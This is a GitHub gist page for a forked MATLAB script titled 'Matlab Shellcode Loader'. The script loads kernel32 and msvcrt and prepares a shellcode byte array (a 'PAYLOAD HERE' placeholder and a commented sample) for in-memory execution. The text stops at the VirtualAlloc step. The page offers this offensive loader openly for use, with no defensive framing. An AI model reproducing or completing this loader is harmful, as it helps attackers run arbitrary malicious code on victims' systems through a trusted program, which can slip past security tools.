Skip to content

Instantly share code, notes, and snippets.

View gr00T0x's full-sized avatar

gr00t gr00T0x

  • Everywhere
View GitHub Profile
@gr00T0x
gr00T0x / CreateThread.m
Created September 15, 2023 14:01 — forked from Wra7h/CreateThread.m
Matlab Shellcode Loader
loadlibrary('kernel32.dll', @kernel32proto);
loadlibrary('msvcrt.dll', @msvcrtproto);
%payloadexample = uint8([86, 72, 137, 230,...]);
payload = uint8([PAYLOAD HERE]);
cbPayload = length(payload);
pPayload = libpointer('uint8Ptr', payload);
%VirtualAlloc
memSize = cbPayload;